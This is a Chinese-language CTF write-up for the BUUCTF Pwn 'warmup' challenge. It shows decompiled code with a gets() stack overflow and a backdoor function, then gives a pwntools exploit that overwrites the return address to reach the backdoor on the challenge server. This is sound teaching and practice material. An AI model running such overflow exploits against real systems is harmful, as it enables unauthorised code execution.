BUUCTF Pwn warmup
BUUCTF Pwn warmup
- 1.题目下载地址
- 2.checksec检查保护
- 3.IDA静态分析
- 4.exp
1.题目下载地址
点击下载题目
2.checksec检查保护
- 啥都没开,果然是warmup
3.IDA静态分析
__int64 __fastcall main(int a1, char **a2, char **a3)
{char s[64]; // [rsp+0h] [rbp-80h] BYREFchar v5[64]; // [rsp+40h] [rbp-40h] BYREFwrite(1, "-Warm Up-\n", 0xAuLL);write(1, "WOW:", 4uLL);sprintf(s, "%p\n", sub_40060D);write(1, s, 9uLL);write(1, ">", 1uLL);return gets(v5);
}
- 后门函数
int sub_40060D()
{return system("cat flag.txt");
}
- gets()函数很明显会有栈溢出漏洞,然后发现有后门函数,也就是sub_40060D函数,而且会发现你执行此程序的时候可以直接输出后门函数的地址,就不需要再找他的地址了
sprintf(&s, "%p\n", sub_40060D)
- 这个函数的意思就是将sub_40060D的地址放在s缓冲区中输出地址,所以执行的时候就可以直接看到后门函数地址。
- 所以现在的漏洞利用思路就是将v5缓冲区覆盖,然后覆盖返回地址为后门函数地址
- v5的大小是0x40
- 因为是64位程序,再加8byte覆盖rbp
4.exp
from pwn import*
sh=remote('node3.buuoj.cn',26548)
payload='a'*0x48+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
BUUCTF Pwn warmup相关推荐
- [攻防世界 pwn]——warmup
[攻防世界 pwn]--warmup 题目地址: https://adworld.xctf.org.cn/ 题目: 嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址 ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- buuctf web warmup详细题解
题目:warmup 题目来源:buuctf 分析过程: 1. 首先ctrl + u 查看源代码,我们发现有一个source.php文件 2. 我们打开source.php文件,是一段代码,这道题要我们 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
最新文章
- tomcat报错LifecycleException的解决方案
- linux:配置jdk环境变量
- Font Awesome-一款吊炸天的字体图标插件中文全介绍
- 游戏外挂的基本编写原理
- STM32开发 -- Keil使用(2)
- Java黑皮书课后题第7章:*7.7(统计个位数的数目)编写一个程序,生成0和9之间的100个随机整数,然后显示每一个数出现的次数
- 多对一(一对多)的双向关联
- PyTorch 1.0 中文官方教程:序列模型和LSTM网络
- python tornado高并发_tornado IO并发真的很高么?
- 一些gassian分布假设的,并假设均值依赖于隐藏层,方差固定的模型
- Liunx之chown命令
- (宏)Word 纯文本粘贴
- Ipsec phase1 and phase2
- 一个以表驱动得汉字转拼音的库
- java-redis java使用redisTemplate连接操作单台Redis
- mac Segmentation Fault
- html中svg是什么文件,svg是什么文件格式?如何打开svg文件?
- 基于51单片机的校园教室打铃系统
- Django实现adminx后台识别用户身份的内容编辑与显示
- MySQL燕十八老师课程笔记:第十六课:MySQL各个函数